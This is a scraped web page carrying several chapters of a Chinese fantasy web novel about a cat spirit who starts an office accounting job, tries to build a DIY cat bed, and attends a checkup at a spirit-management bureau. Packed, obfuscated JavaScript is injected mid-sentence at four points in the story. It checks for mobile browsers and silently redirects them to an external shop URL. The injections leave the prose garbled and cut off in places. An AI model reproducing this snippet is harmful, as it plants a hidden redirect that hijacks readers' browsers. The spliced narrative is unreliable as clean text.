这个喜欢，这个她也喜欢。只是，猫猫皱着鼻子，额前的三条灰色纹路动了动，这些东西也太贵了吧。 她喜欢的起码要八百起步，有些还要一千多。买是买得起，就是觉得下不了手。 突然，她看到一条评论：我拿麻绳和木头自己缠了一个，算是加装，感觉很不错[图片][图片[图片] 她点开大图，感觉自己发现的新大陆。 还能自制！手工DIY！那不就是她想做成什么样都可以吗？而且价格差异也不小。小穷猫当即就心动了。 开始，她跳转到红色软件，开始搜索一些手工大拿的手搓猫窝视频。 《自制藤编猫窝》 《纯手工打造最舒适的小窝》 《当你有一把藤，又有一只猫的时候》 …… 发现除了窝，还可以编小球，小玩具等等，越看越是心动。 她现在已经能熟练地按照食谱自己给自己做鱼吃，不用点外卖吃食堂了。这应该代表她的动手能力是可以的，那手搓一个猫窝，应该也不难吧？ 试试。苗小卉瞬间就下了决定。 顺着搜罗手搓猫窝视频，她下单买了一堆麻绳，木料，还有一些制作的小工具。零零散散的，才花了一百块钱不到。 夜越来越深了。她打了一个呵欠，但视频实在是太诱人了，这种手工视频似乎有魔力一般，她告诉自己，再看一个，再看一个她就睡觉。 幸福小区里的亮着灯的越来越少。直到将近凌晨四点，属于2栋503的那盏灯才正式暗了下去。 翌日，赶早出门上班的苗小卉和一夜没睡出门溜达的熊君霖碰了个正着。 电梯里，苗小卉频频打着呵欠，满脸困倦，白皙的小脸上依稀可见眼下的淤青，很淡。只是她的皮肤很白，才显得异常显眼。 男人多看了她几眼，忖了会，道：“你昨天不会偷喝我咖啡了吧。” 苗小卉：“……”谁爱喝咖啡，还偷喝，但话未说出口，又打了一个呵欠。她习惯早睡早起，昨晚这样突然一个不小心熬了个夜，感觉自己有点顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482243|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住了。 眼角沁出的生理性泪水被男人看到了，不敢多言。内心感叹，小猫什么的实在是太脆弱了，说一句就哭，算了，以后还是别说她了吧。 紧赶慢赶，终于在八点五十九分的时候打上卡，回到工位上，苗小卉一下子就如同没有骨头一般趴了下去。好困啊。 她感觉自己眼睛都快睁不开了。 萧乐乐还在泡咖啡，香味传到她这边，她使劲地吸了几口咖啡味，希望可以借此提神。但咖啡的苦涩她是不喜欢的。 萧乐乐旁边的成亚在吃包子，喝豆浆，香味和吃饭细微的咀嚼味道也传到她这。 “办公室能吃早餐？” 萧乐乐：“没禁止。但也不能太过分，我们丁总不喜欢闻这些食物的味道，除了咖啡。” 丁总。 死去的记忆再次袭来。“丁总是指咱们那位财务总监对吧？” 得到了萧乐乐的肯定后，苗小卉抿嘴，她就说。那个男人昨天延迟了几秒，脸上又是半点情绪也无，看了她那么久，原来是因为她占了他关系人的位置。 看苗小卉沉默发呆的模样，萧乐乐以为她在回想丁总的容貌，一时八卦心起，“怎么样，咱们丁总是不是超级帅的？我跟你说，销售部那些所谓的俊男靓女，可都没咱们丁总能看。” 苗小卉觑了她一眼，生无可恋的小脸上写满了“困”这个字。 萧乐乐却如同得到了回复，继续八卦：“听说咱们这位丁总，单身呢。” 苗小卉正想说话，鼻翼不受控制地动了一下，那股烟草带着薄荷特有的清凉味道袭来，她赶忙回到自己的位置上，正襟危坐，对着电脑屏幕就是一顿瞎点。 她是新人没事干很正常，但是闲聊八卦，尤其八卦上司肯定不正常，这个她看职场书的时候看过。反正把所有软件都点开准没错。 萧乐乐被她这雷厉风行的动作整得一愣一愣的。 半晌，那位丁总监姗姗来迟。 当萧乐乐看见他出现在核算部大门的瞬间，瞳孔都大了一圈，也赶忙坐好。 成亚就没这么好运了，被丁总监逮了个正着。 “下次，不希望再看到你在办公室吃包子。”声音冷得都能冻出冰碴子了。 成亚连连点头，抱着还没吃完的包子和豆浆，灰溜溜地跑茶水间去了。其他人看屏幕的看屏幕，做事情的做事情，头也不敢抬，办公室里安静得要命。凝固的气氛，直到丁总监关上门后，才稍稍缓和。 “你怎么知道丁总过来了？”萧乐乐极其小声地朝苗小卉说。 她听到了，但是不知道怎么回。总不能说是她闻到了吧。 萧乐乐干脆上了蓝讯，给她发消息。结果发现，苗小卉连蓝讯都没登。 她起身，“你赶紧打开这个软件。” 苗小卉顺着她手指看向那个蓝色鸟头的软件，“这个是什么？” “这个是我们公司的内部通讯软件。手机上也可以下载。所有人的通讯都在这里面，通讯信息禁止截图复制外传。” “噢。”这么方便，那是不是想找公司的谁都只需要通过这个软件就可以联系了。那怎么人事还要加她的绿泡泡啊。 5. 手工 无所事事地混了三天，第四天，苗小卉终于领到了她的第一项任务，熟悉财务系统。萧乐乐给她发了网址，至于操作手册，都在网站上。 一个费用报销平台，总账管理平台，都是公司的内部自研系统，与她以前在学校接触过的某友某蝶系统端完全不一样。 她没有第一时间点开网址，反而抬眼朝她的直系领导会计主管的方向望去。层层的卡座隔板挡住了她的视线。但她敏锐的耳朵能区分，办公室嘈杂声中，独属于主管的那个声音，从她那个角落发出—— 她“滴滴答答”地敲打着键盘，速度很快，很久才使用鼠标，好像很忙的样子，但是不知道在忙什么。 主管是不是不想管她了？连分配任务都是通过乐乐给她发的。苗小卉丧气，开始胡思乱想。垂放在大腿上的手忍不住抓挠着柔软的布料。 这几日她枯坐摸鱼，但心里头并不顺畅。惧于互联网的大数据算法，她不敢直接上网发帖，只能搜索别的应届生的工作经验帖子。 许多人都说，正规公司，只要签了三方协议，一般不会过不去实习期的。她信了。只是…… 想到这，她偷偷看了眼隔壁的萧乐乐，此时她不知道看到屏幕上什么好玩的事情，嘴角高高挂起，看着很开心的样子。 眼底满是羡慕。 如果她跟乐乐一样就好了。就算不能跟个愣头青一样，冲到主管面前质问一番，也能主动起来跟办公室里的其他同事打好关系，或者主动索要工作，博个好印象。 算了。难得有个任务，先看看吧。 心累地打开浏览器，输入萧乐乐给她发的网址，登入自己的账户。 原来公司自研的财务系统是这个样子的，报销单据的拆分十分细致，一眼就能看出是报销什么样的项目。核算分录也是自动生成，财务这边只需要进行审核。至于总账管理，她被限制了很多权限，能看的东西有限，但大概也都清楚是什么。 很简单，比其他标准软件产品还简单。只随意点了两下，连操作手册都没打开，苗小卉就没兴趣了。 这些都是一眼会的东西，好像没有什么需要熟悉的。那她还是再摸会鱼吧。 反正第一个任务已经来了，第二个还会远吗？她安慰着自己，下载操作手册，打开操作手册，放大占据整个电脑屏幕。紧接着，低下头，打开手机里的橙色软件。 明天就要发工资了，猫窝手工制作又需要时间。上班这么辛苦，得先买一点小玩具给自己乐一乐。 眼睛盯在手机上，耳朵竖起，三百六十度地听着办公室里所有的动静。 远处电梯对面的茶水间偶尔能传来几声大笑的声音，办公室外的走廊走过的人并不多，轻盈的脚步声被地毯吞没，细微但也依旧逃不过她的耳朵，更别说同一个办公室了。 “我发你蓝讯了你再看看。”这是主管吴韶君的声音。 “这个，我看了的。您再看一眼……这里……还有这里……”这是总账会计林妙棠的声音。 “不对，这是半年报，你只对比了这几年的半年报，但是也是季报啊，这几个季度的也要跟着检查一下的，你看对比上个季度的这个数据波动……” “哦对，我忽略了，我再看看。” “嗯，赶紧看，半年报明天就要出来的，争取早上能将数据发给丁总。” “……” 苗小卉想了想，拿起笔，将这个信息记录到笔记本中—— “半年报次月4号交丁总，5号出具。” 好记性也不如烂笔头，有用的信息都先记下。而后继续低头玩手机。 直到她听到一道陌生的脚步声停在敞开的办公室门口，连忙收起手机，假装努力工作。 她以为是哪个陌生的同事过来找人，没想，脚步声停在她办公桌旁边，“小卉，原来你坐这里？” 是人事主管卢自强。 “卢主管你好，请问你这是？”她有点紧张，不会是来通知她可以收拾东西走人了吧。 不过今日这位主管的衣着还算可以，衬衫洁白如新，一丝褶皱也没，比之前那次干净多了。 许是看出她的紧张，卢自强连忙将手中的卡片放到她的桌面上，“没事，就是来看看财务这边的工作环境，顺便给你送这个卡片。食堂餐补每月1日会自动打到这张卡里面。” “哦，好，谢谢。”苗小卉接过卡片，拿起来看了眼，就一张普通的印着公司logo的员工卡。 特意盯着卡片多看了一会，只是身旁的人却站在原地迟迟没有移步，苗小卉只能抬头看向那人，“卢主管还有其他事情吗？” 卢自强：“哦，卡没问题吧？” 这是你送过来的卡为什么要问我有没有问题？她在内心吐槽，只是面上还是恭敬和气道：“没有问题。我也没有其他问题。” 整个办公室都安静下来了，她能感觉到大家的视线都聚焦在自己和卢主管身上，她开始坐立不安了。 “没事啊。那就行。”卢自强也没找到合适的借口，这才一步三回头，慢腾腾地走了。 苗小卉长长地吁出一口气，终于走了。但她却也没得再有时间偷偷摸鱼了。 隔壁的萧乐乐脚一蹬，坐着的办公椅轮子朝她这边驶来，挤眉弄眼，“这位卢主管，看来对你有想法哦。” 听到这话，苗小卉只能提起苹果肌，嘴角勾起一道僵硬的弧度，“没有，你想多了。” 他是人，她是猫，他们是不同物种，在一起是不会有未来的。 但萧乐乐明显还不肯放过她，“也是，卢主管这人长得黑，你应该不是喜欢这一款的吧。”说着，话锋一转，“你是不是喜欢咱们丁总那种？” 苗小卉默了，这是能随便问的吗？她没辙了。 她与人类的审美不一样，丁总，卢主管这些人在她眼里都是无毛人形生物，没有美丑之分。而且丁总是薄荷味，她最讨厌的薄荷味，更不可能喜欢丁总了。 但是这能说吗？直言不喜欢领导是职场大忌吧 想到这，她正色道：“其实我喜欢狸花猫。” 这是实话。她觉得狸花猫是所有猫里面最飒气的，体重大，脸庞子也大，颜色还好看。不像她，灰扑扑的。 “哈？”萧乐乐愣住，但是她们刚刚聊的好像是对象…… “你不喜欢吗？”苗小卉继续追问。 猫？她肯定喜欢啊。萧乐乐缓缓点头，话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482244|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题自此再也拉不回来。 只是，萧乐乐是被苗小卉带偏了，其他人可没有。 整个下午，苗小卉的猫耳朵已经听了两三个版本从“某某某喜欢某某某”再到“那谁你知道吗，某某某跟某某某似乎在一起了”。 而这两个某某某也成功地从不认识的姓名，变成了她跟卢主管。 啊，这些人真的好无聊啊。不对，是上班太无聊了才能养出这么无聊的人。还是上班的错。 她在心中默默感叹。 熬到五点，准时下班回家。 幸福的是下班，更幸福的是她手机提醒她最后一个自制猫窝材料快递也到了。她的情绪瞬间就变好了，从快递站美滋滋地将几块木头抱回家。 路上偶尔还会碰到几个其他动物化成的人。大家都不是热络的妖灵，自顾自地走路，低头刷手机。错身而过的时候连眼神都不需要给，更别说点头问好了。 这种陌生人的社交距离让她的状态更好了。果然，白天遇到的都是正常的动物，晚上遇到的就…… 吃完自制的鱼汤泡饭，苗小卉将所有材料摆了出来，满满当当地占据了整个十来平米的客厅。 还没开始，成就感就已经装满了。 她哼着不成调的小曲，乐呵呵地打开窗户，再将手机固定好，准备开始手搓猫窝。 她看上的这个是猫爬架、猫窝一体的，整体呈“U”字型，两边高度不等，一边较高，一边较矮。中间夹了几块正方形的木板。 目前第一个步骤是将所需要的各个组成的圆木柱涂上热熔胶，缠上麻绳。但是她不喜欢用火，查了资料说胶水也能用，便用了胶水替代。 这个简单，不需要视频都可以做。但为了保险起见，她还是把视频打开，将视频声音当做背景音乐。 拿起胶水，小心翼翼地在圆木柱上涂抹。可能是过于小心涂抹太少的缘故，麻绳总是粘不紧。 缠不上去……那就再倒一点，再倒一点…… 结果，手一滑，整瓶胶水顺着瓶口“哗啦”一下全都倒了出来，眼疾手快将瓶子正起，也已经没办法拯救了。 整整一瓶500毫升的胶水倒出来了五分之四，胶水蔓延，材料，地板，全都脏了！ 头皮发麻！ 天呐她到底干了些什么？ 视频中的女声还在温柔仔细地讲解着：“裁剪完成后，我们需要将这些藤条的中心点对齐，四周散开，用夹子将这个夹好固定……” 苗小卉抱着头，整张小脸皱到了一起。“啪”地一下将视频关掉，垂着头看着一团乱的材料。 这是胶水，还不是普通污渍，该怎么处理啊。哭丧着脸将垃圾桶拉过来，将黏糊糊的材料先丢进垃圾桶，再拿着纸巾一点一点擦拭着地板上的胶水。 待一切清洁完成后，一抬眼已经是晚上十点了。 精疲力尽！她生无可恋地看着堆放在角落的那堆材料。 不行，她得买点东西缓一缓。 拿起手机，打开橙色软件，将购物车中最便宜的几样小玩具直接下了单。 花了钱以后，心情总算是舒坦一点了。这下又有新的期待了，至于那些手工材料，先放一放吧。 6. 入账 七月五号，天气晴朗，心情也晴朗。 苗小卉一大早来到公司，打了卡，端着水杯去茶水间泡蜂蜜水。她带了一罐蜂蜜，就放在茶水间的冰箱里。 此时还很早，公司人不多，不过茶水间此时已经有人了，是一身水墨色短袖连衣裙的林妙棠。长长的头发微卷蓬松地披散在肩膀。 “早上好，林姐。”她乖巧地打了声招呼。 “早。”林妙棠回头，看到眼前穿着牛仔背带裤的圆脸女孩，甜甜圆圆的脸蛋上挂着一对小小的梨涡，齐耳的短发更添几分稚嫩，心顿时软乎乎地，感叹道：“啧，要不怎么说青春无敌呢。刚毕业的大学生，就是水嫩嫩的。” 她在夸自己，苗小卉脸上的笑意忍不住加深，两个若隐若现的梨涡也更深了，“林姐今天很漂亮。” “真会说话。”林妙棠说着，想到昨天发生的事情，道：“你刚毕业，可别一下子就被男人拐走了哦。那个卢自强，不适合你。” 最后一句话脱口而出时，她自己都愣住了。 职场之中，最忌交浅言深。 但苗小卉浑然不觉，只是乖乖地点头，“我知道。” 从冰箱中拿出一罐蜂蜜，十分自然地问：“林姐要喝蜂蜜水吗？” 林妙棠：“喝。” 苗小卉默默地将手中的蜂蜜递了过去，垂下眼睑掩盖自己眼底的不舍。 她其实只是客气一下而已。 但苗小卉不知道的是，此时林妙棠心中已经决定，将眼前这个小助理纳入羽翼之下了。毕竟关爱祖国花朵，人人有责。 十点不到，手机独特的短信声响起，苗小卉点开短信，“您账户3456存入6358元，可用余额6892.52元。附言：工资。” 工资到账。她乐滋滋地多看了几眼，才打算换个APP花掉一点，绿泡泡那边却来了信息。 -好烦：7月了，什么时候来体检 瞬间就嘻嘻不起来了。微信那边是妖管所的副所长，是一只狐狸。微信原名“胡阿胡”。但她改成了“好烦”，因为他真的很烦。 而且，妖管所的体检和医院的体检完全不一样。不仅要抽血，做各种检查，最重要的是，她还要在监测箱中呆一天。 她讨厌体检。 深吸一口气，一字一顿地在屏幕上敲打着，尽量不在字里行间体现半分怨气。 -喵：我已经找到工作了，要上班 -好烦：那就明天吧，周六过来。 -好烦：还是说你这么命苦，找了一份周六也要上班的工作？ -喵：好的，明天过去。 忍着怨气，敲完这几个字，苗小卉直接关闭微信，息屏，手机倒扣到桌面上。 这个人怎么就那么讨厌！说的话怎么能每个字都不中听！ 正闹心，角落一道声音响起，“小卉，过来一下。” 是林妙棠在喊她。 她起身来到林妙棠的身后，“林姐，您喊我？” “嗯，系统这两日熟悉得怎么样了？” “差不多了。”苗小卉含糊地说，她其实只看了一眼。 “那就行。你把上个月所有记账凭证都打印出来，附上原始凭证装订成册。”说着，顿了顿，“需要我教你怎么贴凭证吗？” 苗小卉连忙摆手：“不需要的。不过，可能后面装订的时候得麻烦您帮忙。” 林妙棠点头，“这个没事。你先贴吧。” 她顺着林妙棠的手指看向了角落里，足足一大摞，大概得有十五厘米那么高。 林妙棠人还十分好心，起身从摆放柜子的抽屉中抽出一本装订好的凭证递给她：“大概这么高就换下一本。这事也不急，你25号之前给我就可以了。” “好的。”苗小卉抱着原始凭证和那本参照物，回了自己的座位。 附件资料真的很多。庆幸的是，林妙棠这人做事仔细，每张原始凭证上面都用铅笔标注了对应的记账凭证号码，剩下的事情，就是纯手工活了。 手工活，她喜欢！ 只是，手中的那瓶液体胶水，总会让她想起昨天晚上的那场噩梦。 * 到点，打卡下班。 本该是轻松愉快的周五下午，可惜明天周六还要去体检。上班以来的第一个美好周末就这么被破坏了。 苗小卉去快递室拿了快递，抱着回家，边走边感叹，顺带着计划今天晚上的晚餐。 她刚刚去超市买了一条活蹦乱跳的鱼，师傅现场帮她杀好，此时在袋子里还微微颤抖着尾巴。她打算用来清蒸。 蒸的时候再放一碗米饭在旁边一起蒸。到时候蒸熟的米饭也有鱼的味道。完美！ 吃完饭就开始拆快递。 她买的是一位养猫博主推荐的一款猫玩具，叫做笼中鼠，九十九块。价格不算便宜，但也好歹不过百。 而且，这个产品连货比三家的机会都没有，她搜遍橙色App也就这一家在买。 盒子很大，拿出来，是一个四四方方的笼子造型，但不是透明的，里面什么样子也看不到。 抱起来摇了一下，隆咚声响起，里面应该有东西。但是看不到。她的手有点大，又无法伸进洞里。另外还配备了一个遥控器。上面只有三个按钮，一个开关，一个写着“自动”，一个写着“手动”。 先拿起说明书看了看，说是要充电后才能使用。 那就先充电吧。她把盒子清理干净后放在墙角充电，先进浴室洗了个澡。 洗完澡，小猫从浴室中出来，意外地看到盒子充电的指示灯已经变成绿色了。 应该是产品预设了电量。她迈着猫爪子走过去，关上插座通电开关，拔了充电线，尝试性摁下了遥控器的“自动”。 “滴滴”两声响起，代表产品成功启用。盒子里开始发出“吱吱”的声音，仿佛里面真的有一只老鼠一般。 小猫眼珠子直接粘在那上面都不会转了，伸出前腿，能感觉到有什么东西从自己的爪子边上擦过。 猫爪子忍不住了，跟着声音在盒子里面努力抓住那只乱动的老鼠。 前、后、左、右……小猫直接上头。 里面的毛绒玩具不知道是怎么制作的，速度很快，方向也很随机，她的爪子完全停不下来，这……这也太好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482245|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩了。 她终于知道为什么视频里面那只猫，前爪一直在盒子里不出来了。 终于，习惯了里面的速度之后，她反手就抓住了那个乱动的东西，从洞里扒拉出来。 可直到看清手中的毛绒玩具后，猫爪“啪”地一下将毛绒老鼠拍开老远。 这也太丑了吧。 灰不溜丢的一个椭圆小毛球，前面的两眼睛超级假就算了，眼睛下还染上两撮粉色…… 不是涂上腮红就是可爱啊，策划是不是对可爱有什么误解啊。 但话说回来，老鼠很丑，但这个玩具不错。她很喜欢。 拿起手机，给推荐的博主点了个红色小爱心，顺便附上评论，“猫很喜欢，谢谢推荐。” 评论完，顺手点进去这位博主的主页，发现这位博主推荐了不少猫玩具，她一一收藏等着后面慢慢看。 正刷着视频，房子的门铃突然响起。 她顿了一下半天没反应过来是自家门铃，这个声音自从她搬进来，测试过一次后就再也没响过。 谁啊？这个时间？她瞄了眼手机屏幕，九点四十分。 懒得变成人了，小猫直接几步跳到门后，再跳起把门打开。 “小猫，你……”见门打开，映入眼帘的是干净整洁到不见一根毛发的客厅，连人影都没看到，熊君霖语滞。 “什么事？”小猫抬头，口吐人言。蓝色的猫瞳泛着莹莹的幽光。 熊君霖听到声音，低头，“怎么变成原形了，你要睡觉了？” “是啊。” 低头说话难受，熊君霖干脆蹲了下来，“我有事忙，你去门口帮我拿个外卖。” 幸福小区比较特殊，社区管理严格，所有外卖只能放在小区门口，外卖员进不来。 闻言，小猫的猫耳朵向后压了压，立起了一对飞机耳。 不去两个字哽在喉中说不出口，但她也不愿意答应。只是沉默地看着眼前这个毛发乱糟糟的男人。 “我真有事。算是我欠你个人情吧？”见她没回复，熊君霖有点急，“项目走不开。求你了，谢谢。” 苗小卉：“尾号。” 熊君霖：“0608，谢谢。”说完快步回到自己房里，急匆匆的模样，让苗小卉的气不打一处来又不知道怎么发。 她关上门，换了衣服，才去门口取了外卖。 是一杯咖啡……还是那家TerrorCoffee。 将咖啡送到502的门口，“给你拿来了。” 她真不理解，这一来一回连五分钟都不到，怎么能忙到连拿个外卖的功夫都没有呢，“有这么忙吗？” “谢谢，难得有个项目挣钱，不容易。”熊君霖看到她的家，知道这只小猫爱干净，也不强迫她给自己送到家里，自己出来拿。 只是因为钱？苗小卉皱着眉头想，脱口而出道：“没钱可以跟所里借呀。” 熊君霖听了她的话，笑了一下，“不是所有的妖灵都有资格跟所里借钱的。下次有什么事可以找我。我先去忙了。”说完转身回到电脑前，继续忙碌去了。 他这话让苗小卉怔了许久。 7. 体检 翌日，又是一个大晴天，碧空万里。 苗小卉定了六点的闹钟，准时起来，收拾洗漱后，她背着一个印着橘猫头图案的白色小挎包，搭最早的一班公交车来到了燕京的郊外，在一个名为龙女庙的站点下车。下车的时候还不到七点半。 在人类的传说中，女娲补天、造人。龙女庙则是一个求姻缘保平安的普通庙宇。不过，在妖灵史的记载中，龙女是他们妖灵一族的始祖。 最早如何早已不可考，苗小卉也是以前在妖管所呆着的时候听一些老妖灵们说过，他们化成人形所使用的灵气，都来自于龙女。 龙女庙位于半山腰，公交站点后面便是登山的台阶，她一步步走上去。 台阶不过一米多宽，两边都是葱郁的杂草树木，不知名的鸟儿立于树梢鸣叫，偶尔还能看到草丛中有各种昆虫窜出。尽管这条路已经走了很多遍了，但她的眼睛还是不由自主地随着闹腾的小鸟昆虫们移动。 走了半小时，总算来到龙女庙。庙里的装饰与寻常庙宇一样，红色粱木，黄色帷帐，铺着红色绸布的供桌上燃着摇曳的烛火。 烛火如豆，却亮得惊人。不知道是不是因为使用的灯油是香客们的供奉。这也是龙女庙的独特之处，供奉只收灯油，煤油甚至食用油都可以，不收银钱。 帷帐后立着的灰色石像便是龙女了。 苗小卉先将自己带来的油添入足有半米多高的油灯中，然后退后几步，站在蒲团边上，双手合十，朝上首的龙女石身像鞠躬问好。这也几乎成了他们妖灵来妖管所时的习惯性动作了。 先拜龙女，再进所里。 她没有抬头直视龙女，只是闭上眼的时候，龙女的形象依旧在她的脑海中浮现。 人身龙尾龙爪，目光望向前方，头上还长了两个小小龙角。而整个石像中最突出的是双手做祈祷状，灰色的石像右手中指位置戴着一个莹白戒指。 这也让许多人认为龙女庙是姻缘庙，曾风靡全国。只是近年来结婚率下降，姻缘庙的到访人数也在逐年减少。 叩拜后，她走进石像左旁侧开着的小侧门，往庙后走去。 后院很大，回廊布局，中间的空地建了许愿池。池里的水引自山上的山泉水，在走廊步行的时候就能听到水流潺潺的“叮咚”脆响。此时才八点，早上的人很少，只有一个阿姨在打扫走廊上的落叶。 最后她在一个古香古色的小楼前停下，门口挂着一个牌子，上面用红色正楷写着“管理处”三个字。 突兀，却很符合这个时代的布置。反而显得稀松平常，不引人注目。 管理处里人不多，只有两个管理员坐着，都是老面孔。男的叫李来夏，女的叫张莘，都是人类。此时两人正坐在旁边休息卡座里吃早餐，一脸困倦。 “来了？你自己下去吧。”张莘咬一口包子，配一口豆浆，好歹招呼了一声，旁边的李来夏是一声不吭，一边吃一边看手中的手机。 “好，谢谢。”苗小卉细声道谢，没有在意他们的怠慢。 他们是人类管理员，守在这里主要是为人类服务，顺便登记妖灵的出入情况。 熟门熟路地走到角落，掰了一下墙边的珊瑚摆件，平整的墙面打开，出现了一个足以容纳一个人出入的洞口。 蜿蜒的楼梯往下，她踏上楼梯一步一步往下走去。妖管所就在下面。 墙面统一刷了白漆，但时隔久远，白墙已经有些斑驳。没走多久，一个纯靠白色灯管发光，略带年代感的办公空间出现在眼前。 两百多平的大厅中一半面积设置了办公的卡座，另一半全是书柜，上面堆满了书卷，偶尔还能看到竹简。 “哟，来了。”胡越站在墙角的书柜边上正在查看资料，听到声音，狭长的眼尾挑起，抬眼看了过来，“八点准点，你的时间观念还是这么不错。” 苗小卉进入大厅的脚步顿了一下，隐下对空荡荡的大厅的好奇，“嗯，漾姐呢？” 她口中的漾姐是胡漾，胡越的姐姐，两姐弟都是不知道活了多少年的妖灵，本体是狐狸。 胡越放下手中的资料，往走廊那边走去，“走吧，实验室等你。” 他口中的实验室就是苗小卉每年体检的地方。 她保持着三个步子的间距，亦步亦趋地跟在胡越身后。他很高，腿也长。迈一步她得迈两步，要保持固定的距离，她跟得有点辛苦。 胡越不用回头都知道苗小卉小心翼翼地跟在自己身后的模样，眼珠子一转，道：“你之前留下的血也用完了，这次趁着体检，多抽两管吧。” 闻言，她悚了一下，咽了口口水，干巴巴地说：“我是空腹来的，应该抽不出那么多吧。”体检本来就要抽四管血了，再多抽两管的话，她会失血过多的。 “没事，我准备了小鱼干。”胡越话里已经带上了明显的笑意。 她才不吃他准备的东西。苗小卉抿紧嘴，不想搭腔，打算一会直接跟漾姐商量，反正他做不了主。 妖管所全名是妖灵管理所，所长是龙，很少出现，她也是很久以前远远眺过一眼。副所长就是眼前这个胡越了。但是所里关于妖灵身心健康的监测检查以及研究都是胡漾在安排。 胡漾是一个很温柔的人，不像胡越这么恶劣。所里很多小妖灵都很愿意配合胡漾姐的工作。 可她不说话，不代表胡越不会继续说。 “你要不要打包点小鱼干回去？我这次测试了新的口味，很不错的，不含过敏源的。” 听到“过敏源”三个字，苗小卉下颌绷紧，捏紧拳头，好想一拳打过去。她真的从来没见过这么恶劣的妖灵。因为妖灵误食过敏源是会变回原形的。 许是因为她的父母都是猫，她化形后，过敏源有点多，芒果，酒精，菠萝，韭菜等等。忌口本就很辛苦了，偏偏胡越乐此不疲，喜欢在她面前吃那些带着香气的食物。 忍他，让他，但没防他。直到七岁那年她来所里，胡越给了她一个酒心草莓糖。 被迫变回了本体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是，抽血的时候，苗小卉还是忍不住开口，“霜姐，我今天没吃早餐，能不能先别抽实验用的血？” 闻言，身后的男人嗤笑了一声，而杨霜操作的手也顿了一下，“暂时不需要额外的血液进行实验。” 苗小卉默了，她瞬间就反应过来自己又被胡越给骗了。 这个骗子！当然，她最生气的还是自己，又被骗了。 杨霜笑着摇头。抽完四管血后，给她塞了一颗糖球，道：“可以了。接下来你进监测仪。几个月前我们更新了监测仪的程序算法，监测时间大大缩短。你进去吧。” “好。”苗小卉含着糖球，放下手机，摇身一变。椅子上的人变成了一只灰色的布偶猫。 身后的胡越当即来了精神，“来，我抱你进去。” 她才不要他碰。 小猫的背毛竖起，尾巴如同天线一般竖起，迅速后退跳下椅子从桌子底下过去，绕开他所在的位置，灵巧的几个跳跃，来到那台四四方方的监测仪前，直接钻了进去。 监测仪里蓝光亮起开始运作，偶尔“滴滴”几声，代表一切正常。 胡越笑了，干脆拉过来一张椅子坐到监测仪面前，“杨霜你去忙吧，这里我守着就好。” 苗小卉猫瞳微阔，求救的眼神看向一旁的杨霜。 只一眼，杨霜就心软了。 8. 眼熟 灯光不甚明亮的操作间中，过敏源检测仪发出的蓝光颇是显眼。胡越就坐在检测仪旁边。 顺着苗小卉求救的视线，他转头看向杨霜，检测仪的灯光映在他的右侧边脸上，泛着幽幽蓝光，另一半仍是冷白皮肤。见杨霜犹豫，一双茶金色的竖瞳赫然出现。 杨霜准备拉椅子的手一滞，“别吓我，我胆子小。” 话是这么说，脸上神情却完全不见半分惊惧，依旧挂着盈盈笑意。 只见她拉过一张椅子与他并排，一起坐在检测仪前，说：“我没什么事，一起守吧。” 话里带着笑意，安抚着检测仪里的小猫。她知道胡越这厮，平时就喜欢“平等”地欺负每一只性格偏弱的小妖灵们。 但谁能在看了猫猫乞求的模样后，还不心软的呢。更何况操作间里，工作台上摆满了玻璃易碎品，她也害怕这俩，一会但凡在操作室内闹起来，不知道得损坏多少东西。 她还是守着吧，安心。 见杨霜也坐了下来，检测仪中的苗小卉心也彻底放了下来。不想看到胡越，干脆换了个方向，头朝里，蜷缩着趴下睡觉。早上起得早，正好趁这个时间再补会眠。身后的尾巴也下意识地卷住自己的一个小腿，蜷在一起。 毛绒绒的一团，毛发蓬松软糯，看得胡越眼热手痒，恨不得直接打开检测仪把猫抱出来搂在怀里好好地撸一遍。 杨霜看在眼底，失笑，不轻不重地拍了下胡越的肩膀，“别看了。实在眼热，把你自己的尾巴变出来摸个够。” 就是就是，他的狐狸尾巴大的离谱，都能直接拿来当围脖了。小猫此时还没睡着，埋在前爪的猫头轻轻动了动，表示赞同。 胡越嗤之以鼻，一脸你不懂的眼神，反驳道：“你懂什么？” 杨霜摇头，不跟他辩，反而聊起了正事，“大灰山那边灵气监测仪还在响吗？” “没了。前天我姐带了不少人过去，已经将灵气异常的几块区域恢复正常了，这会正在找灵气突然爆发的原因……”胡越的声线低沉，苗小卉听得昏昏欲睡。 